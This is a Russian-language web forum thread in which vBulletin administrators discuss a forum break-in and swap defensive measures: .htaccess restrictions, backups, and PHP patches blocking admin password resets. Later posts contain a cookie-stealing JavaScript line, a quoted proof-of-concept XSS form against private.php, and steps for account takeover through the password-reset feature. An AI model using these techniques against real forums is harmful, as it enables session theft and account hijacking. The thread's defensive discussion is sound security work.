![]() |
Показаны 57 сообщений на этой странице |
Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- Хаки от Netadmin или "Сделай сам" (http://netadmin.ws/forum/forumdisplay.php?forumid=65)
-- Взлом, как уберечься (http://netadmin.ws/forum/showthread.php?threadid=1463)
Взлом, как уберечься
Совсем недавно столкнулся с проблемой взлома вб! Ð_аньше, конечно же, понимал, что это возможно, но не думал, что люди пойдут на это, что же.....надежды не оправдались!
Итак, как уберечься? Может, хаки есть какие-то, которые помогают противостоять взломщику?
__________________
Создаю сайт, посвященный мобильным телефонам. Если есть желающие присоединиться к моему труду, буду Вам очень признателен. Пишите в приват.
а по подробнее можно?
__________________
Всегда есть решение.
madgreen
А что собстно взломщик может сделать?!
1. запароть базу
2. поставить себя в базе админом (что самое прикольное)
3. DoS атака... самая распространеная...
4. С помощью sessionhash зайти под любым логином...
5. Нафлудить ... 
6. Еще много всего ....
Для осуществления 1-3 нужно сломать пароль от базы, что весьма не легко ..... Хотя ели в конфиге прописан метод http это сделать весьма не трудно
Я обычно если лезу а базу загружал конфиг, закончил дело стираю его 
__________________
Интернет форум для всех Ты тут еще не был? ...
рейтинг форумов Админы форумов - сюда!!!
нет, базу он не запорол, он каким-то образом подобрал админский(мой) пароль, а потом он просто взял, да все форумы поудалял....
как реализовать 4 пункт и как защититься?
как сделать последнее, то есть как ты делаешь?
ОФФТОП: помните такой стиль ultraboard(тот что с флэшем)? урл-чик можно?
__________________
Создаю сайт, посвященный мобильным телефонам. Если есть желающие присоединиться к моему труду, буду Вам очень признателен. Пишите в приват.
madgreen
quote:
как сделать последнее, то есть как ты делаешь?
quote:
как реализовать 4 пункт и как защититься?

__________________
Интернет форум для всех Ты тут еще не был? ...
рейтинг форумов Админы форумов - сюда!!!
quote:
4. С помощью sessionhash зайти под любым логином...
quote:
базу он не запорол, он каким-то образом подобрал админский(мой) пароль
__________________
Всегда есть решение.
quote:
мог подобрать админовский пароль потому-что его знал, написано не мало о том как нужго подбирать пароли, скажи как можно например угадать такой пароль dvg5HYR566df54JGknc, никак думаю, можно еще заполучить пароль из куков шифрованный в md5 и поставить себе куки форума хотя я не представляю как это можно осуществить и более того для входа в админ панель нужно повторно вводить пароль, так что думай.
как-то с реквестом пароля эту фишку провернул! так как мне в ящик после этого пришло около 20 писем, в которых новые реквизиты аккаунта были! блин, вот уроды......__________________
Создаю сайт, посвященный мобильным телефонам. Если есть желающие присоединиться к моему труду, буду Вам очень признателен. Пишите в приват.
quote:
он(а)как-то с реквестом пароля эту фишку провернул! так как мне в ящик после этого пришло около 20 писем, в которых новые реквизиты аккаунта были! блин, вот уроды......
quote:
он(а) как-то с реквестом пароля эту фишку провернул!
__________________
Всегда есть решение.
Хм... Хотел себе ВБ ставить, а тут прочитал и протормозил слегка
Интересно стало. Так что, вопрос пока остаётся открытым?
quote:
Куки из бараузера я думаю достать просто так не возможно
quote:
разве что использовать какой-нибудь троян который бы выслал по мылу файлы куков, но этот троян думаю надо как-то в комп ввести и если юзер опытный то такое маловероятно.

quote:
Еще мог заполучить доступ к твоему мылу. В общем что скажете, какие еще есть мысли.
да нет вб тут не при чем, я думаю всетаки злоумышник заполучил доступ к эмэйлу, на этом и сыграл, вот например какие минимальные меры безовасности можно применить:
1. Сделать дополнительную зашиту директории admin при помощи .htaccess.
2. Делать ежидневные копии базы данных, что думаю очень эфективно, обещаю написать скрипт который будет вызываться через крон и делать ежидневный бэкап.
3. Слегка модифицировать вб отключив возможность смены пароля для администратора.
__________________
Всегда есть решение.
Gizmo3k Причем тут ВБ?
Любая система, обладающая каким-либо интерфейсом, имеет потенциальные дыры. Абсолютно защищенная система - зарытый в землю выключенный комп (и то его выкопать можно)
Поэтому:
1) всегда помнить, что есть подростки, которым в сетке нечем заняться
2) делать админские пароли для разных систем (сайтов и т.п.) уникальными и лучше содержащие случайную последовательность 8 и более символов.
3) периодически делать дамп или проверить, делает ли его на самом деле хостер
4) ну и патчи устанавливать по мере возможности
quote:
кто из вас пользуется чем то типа WpfAdminSafe?
). Я к примеру использую big crocodil удобная прога для хранения паролей + пароли хорошо генерирует, не надо себе забивать мозги придумыванием паролей.
__________________
Всегда есть решение.
quote:
3) периодически делать дамп или проверить, делает ли его на самом деле хостер
__________________
Всегда есть решение.
quote:
да нет вб тут не при чем, я думаю всетаки злоумышник заполучил доступ к эмэйлу, на этом и сыграл, вот например какие минимальные меры безовасности можно применить:
quote:
3. Слегка модифицировать вб отключив возможность смены пароля для администратора.
quote:
А вот это непредусмотрительно пользоваться тхт файлами для хранения паролей. лучще уже в какой-нибудь блокнот зписывать (имею ввиду бумажный)
если дело идет о очень много много вечно зеленых то тут ситуация в раз десять усложняеться. Насчет софта полность согласен, сам пользуюсь другим рекомендую.
офтоп
Думаю следует открывать раздел о безопасности.
__________________
Всегда есть решение.
quote:
Думаю следует открывать раздел о безопасности.
Убираем возможность высылания пароля админу
в файле member.php находим
if ($HTTP_POST_VARS['action']=="emailpassword") {
include("./global.php");
$users=$DB_site->query("SELECT userid,username,email FROM
if ($HTTP_POST_VARS['action']=="emailpassword") {
include("./global.php");
$users=$DB_site->query("SELECT userid,username,email,usergroupid FROM
if ($DB_site->num_rows($users)) {
while ($user=$DB_site->fetch_array($users)) {
if ($user['usergroupid'] ==6) {
echo "Неужто может быть такое что админ забыл свой пасс,
или может ты не админ, в общем низя тебе этого делать.";
exit;
}
__________________
Всегда есть решение.
Для полноты картины урежем админу возможность менять пароль через юзерскую панель...
...для этого в том же member.php находим строки
if ($HTTP_POST_VARS['action']=="updatepassword") {
include("./global.php");
if ($bbuserinfo[userid]==0) {
show_nopermission();
}
if ($bbuserinfo['usergroupid'] == 6) {
echo "Админ может изменить пароль используя исключительно
административную панель управления";
exit;
}
__________________
Всегда есть решение.
quote:
а то эсли на томже хосте можно иметь shell акаунт то он мог запустить елементарный sniffer и дать запрос на забытый пароль
quote:
Еще мог заполучить доступ к твоему мылу

quote:
1) всегда помнить, что есть подростки, которым в сетке нечем заняться
quote:
кто из вас пользуется чем то типа WpfAdminSafe?
quote:
Как правило хостер не делает дамп базы данных, хотя должен был бы

__________________
Создаю сайт, посвященный мобильным телефонам. Если есть желающие присоединиться к моему труду, буду Вам очень признателен. Пишите в приват.
quote:
никогда не пользовался, все пароли в голове!
насчет безопасности админ'a: можно конечно отклучить высилку пароля по мылу, или что еще круче совсемлишить админа менять пороль черес CP, но можно и менше радикально поступить:
пишется скрпит котоый авторизырует даный компутер (как ывает с платними програмами) и если пароли правильные засилает cookie , а admin/index.php доробативаем чтоб он перед водом пароля проверыл даный компутер, на возможность вобще водить пароль, и дальше по желанию - или сразу викидивать, или просто принимать пороль, но даже при правильном пароле возвращаться в логин меню. ну и если скрипт авторизаци каждий назаветь по своему типа authorizme.php or suckdick.php or ... то незная как он называется аже несможеж попробовать авторизироваться. ну а настоящему админу всегда можно будеть войти в CP с любого компутера.
quote:
различные лохи читают руководства и с пол тычка ломают незащищенные сайты...
__________________
http://rlz.grinderz.ws - Public Last Scripts Upped Dump
А я пароли в Палме хранил... Потом я на него сел и он перестал грузится 
quote:
я тоже над этим долго думал и от первой мысли ужаснулся! но вроде бы все письма с реквестами были не прочитаны! плюс тогда возникает вопрос: как получиьт доступ к чужому яндекс-аккаунту?
quote:не поняно о что ты хочешь сказать.
а admin/index.php доробативаем чтоб он перед водом пароля проверыл даный компутер, на возможность вобще водить пароль
__________________
Всегда есть решение.
linsa Насколько я понял, ты предлагаешь ввести еще одну аутоидентификацию при смене пароля. Нафига? Можно конечно требовать от пользователя ввести десять разных паролей или завести отдельный пароль для выполнения каждого действия... Но пользователь запарится. Ð_ешения, предложенного polo, вполне достаточно.
polo Твой код можно оформить как хак. Хотя это может уже и есть хак.
quote:
ну так если письма загружать через какой-либо мэйл клиент, то письма и не будут помечены как прочитанные.
__________________
Создаю сайт, посвященный мобильным телефонам. Если есть желающие присоединиться к моему труду, буду Вам очень признателен. Пишите в приват.
ну можно еще IP проверять.
__________________
Всегда есть решение.
polo
quote:
не поняно о что ты хочешь сказать.
__________________
http://rlz.grinderz.ws - Public Last Scripts Upped Dump
"Ð_усская клавиатура" хорошо, но когда нужно много писать - стараешся сокращять. попробую по новой:
думаю все сталькивались с програмами которые требует авторизации на новом компутере (обычно по контрольной сумме BIOS или что то похожее). На PHP контрольную сумму неоткуда взять, но cookie использовать можно. И так после свежой инсталяции перед admin/index.php запускаем скрипт авторизации которово каждый можеть назвать посвоему (а можно и instal.php дороботать чтоб в конце инсталяции покозал как назвал етот скрипт авторизации). И вот етот скрипт засилает cookie на компутер без которого переделаный admin/index.php даже небудеть запускатся.
так вот после таких модификаций админ с своего компа всегда сможеть зайти на admin/index.php и если что зная как называется скрипт авторизации сможеть на другом компутере (после авторизации) заходить на admin/index.php. а чужаки без авторизации будут выкыдаватся.
ну а дальше вобще можно идти дальше - на скрипте авторизации дать установить сколько будет жить cookie - ето если с чужово компа надо что нибудь сделать, а потом чтобы другие не смогли через етот жу ком лезать в admin/index.php
я отдаю себе отчеть что можно просто поставить .htaccess в директорию /admin - но basic autorization очень легко ломается brute-force, а если и там поставить пароль типа R#jW^Ft то... по моему проще один раз авторизацию сделать на конкретный комп и никто кроме вас нечего несможеть сделать на admin/index.php
суйчас мысль уже понетна?
linsa
а ты знаешь как так можно сделать?
__________________
http://rlz.grinderz.ws - Public Last Scripts Upped Dump
сделать это легко, а вот нужно ли это?
__________________
Всегда есть решение.
quote:
сделать это легко, а вот нужно ли это?


Думаю защиты черех .htaccess более чем достаточно.
Нужна просто защита другим методом (не средствами скрипта) директории admin
можно сделать:
Deny from all
Allow from свой ип
что тоже вариант.
__________________
Всегда есть решение.
quote:
можно сделать:
Deny from all
Allow from свой ип
что тоже вариант.
.htaccess в дополнение
Можно еще сделать проверку на то откуда пришли referer.
И на тип браузера т.е. если все пароли подобраны, прокси ip совпадает, а тип браузера нет.
__________________
http://faq.pp.ru/read_mee/
linsa
для особого извращения можно поставить CGI-proxy и ходить через него, тогда IP будет одинаковый. Но тогда еще и его паролить тоже надо....
Нет уж: "еще и за свиньей доедать" (С)Анекдот
Пары уровней защиты более чем достаточно, если везде не ставить пароли типа 1234
и ставить фиксы.
из всего вышесказанного можно ограничиться htacces, refer и фишкой, которую сделал polo!
__________________
Создаю сайт, посвященный мобильным телефонам. Если есть желающие присоединиться к моему труду, буду Вам очень признателен. Пишите в приват.
у меня вообще был толи глюк толи хак черт его знает
в общем в таблице thread колонка forumid была полность очищена
в общем все топики ушли в небытие точнее небыли никакому форуму присвоены
quote:
у меня вообще был толи глюк толи хак черт его знает
в общем в таблице thread колонка forumid была полность очищена
в общем все топики ушли в небытие точнее небыли никакому форуму присвоены

Мда. А я вот читал, что в вб есть дырка. Как ей воспользоваться, честно говоря не понял, но у себя закрыл =))
Держите ссылку: http://forums.webscript.ru/showthre...=&threadid=4829
А где взять этот хак русская клавиатура ?
quote:
Первоначальное сообщение от 2thed
nothing personal, но или ты геный и можеж запоминать десятки psw типа: Ji#oK{Gi или ползуишся каким то шаблонам по которому с 20 попиток твой пароль и подобрали.
Люд , я не стал читать всю тему , но скажу может быть то что уже было сказанно:
Взломать пароль на ненастроеном форуме очень даже не сложно!!!
Дело в том что если в форуме включены HTML то юзер может спокойно вставить код JavaScript !!!! А ЯваСкрипт как известно имеет доступ к куукам , там же и хранятся ID сессии(вряд ли надо - так как они постоянно меняются) и самое важное для взломщика - кууки bbuserid и bbpassword !!!
Помимо этого - он там где то делает у себя скрипт который записывает все данные!
И приписывает что то типа этого:
document.location = "pass.php?bbuserid='+bbuserid+'&bbpassword='+bbpassword+';
и вооля - данные передадутся этому скрипту , который уже их обработает и отдаст взломщику! Администратор форума тут не будет исключением !
Ну и соответственно - взломщик пропишет у себя эти данные и зайдет под чужим логином , например под администратором!
Так что для вашего же здоровья - в публичных форумах выключайте HTML !!!
Можно написать хак который бы отключал только тэги <javascript> , но помимо этого - можно вскрыть пароль и при помощи тэгов <span> и даже с <img>!
Хе хе,вот я сломал с сайта пароль и лазию у него в базе смотрю что мне надо (просто по дизайну),но что бы удалить это сильно,а не урод !
Вы про ламаки. Причём все.
Сообщается, что сценарий 'private.php' не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально сформированную Web форму, которая, при загрузке в браузере пользователя, выполнить произвольный код сценария в браузере целевого пользователя в контексте vBulletin сайта. Пример: (требуется предварительная авторизация)
html>
< body>
< form action="http://[victim]/forum/private.php" method="post"
name="vbform">
< input type="hidden" name="do" value="insertpm" />
< input type="hidden" name="pmid" value="" />
< input type="hidden" name="forward" value="" />
< input type="hidden" name="receipt" value="0" />
< input type="text" class="bginput" name="title" value=""
size="40"
tabindex="2" />
< textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
< input type="submit" class="button" name="sbutton" value="Pos
t Message"
accesskey="s" tabindex="4" />
< input type="submit" class="button" value="Preview Message" access
key="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >
< input type="checkbox" name="savecopy" value="1" id="cb_savec
opy"
checked="checked" />
< input type="checkbox" name="signature" value="1" id="cb_sign
ature" />
< input type="checkbox" name="parseurl" value="1" id="cb_parse
url"
checked="checked" />
< input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
< /form>
< script>
//Set Values and Submit
// You can write your own JS codes
var xss = ""><script>alert(document.cookie)</script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
< /script>
< /body>
< /html>
ХА! Возманил себя отцом? Статью нашёл,уже крутой?
Какое каму дело как пишиться оффсайт ил офсайт,главное понятно что сказали. polo знает в 100 раз больше чем ты !
polo в бан его !
Сори за оффтопик 
в уязвимых версиях можно выполнить css нападение
записать куки и войти под ними
делается даже проще
составляешь html файл с скриптом
ищешь админа и говоришь:
будь другом зайди на мой сайт я тебе бублик дам
он кликает и все
куки у тебя
magistr
Так ведь чтобы зайти в ACP нужно еще раз ввести логин и пароль. А в куках он зашифрованый. Ð_асшифровывать будешь ? (если это еще и возможно)
__________________
Форум 3DNews
Krionix
хех ту просто идешь в user CP меняешь email на свой
потом logout
потом forgot password
вводишь свой email
получаешь пароль
потом меняешь email назад
но пароль уже сбросан
админ заметит но уже не успеет
я вообще например на Htaxx весь форум ставлю для каждого юзера это лучшее решение
и админ панель на другой htaxx
magistr
Точно блин, чей то я ступил 
__________________
Форум 3DNews
Да, бан мне, чтоб мне умничал !!! Но умничать фсё равно буду
NeoExpert Будеш,но тоолько сидя на сортире.
Ладно, завтра на работу ... я протрезвел и успокоился.
Пардон, если кого обидел ...
| Формат времени GMT. Текущее время 01:23. | Показаны 57 сообщений на этой странице |
Powered by: vBulletin Version 2.2.4
Copyright © Jelsoft Enterprises Limited 2000, 2001.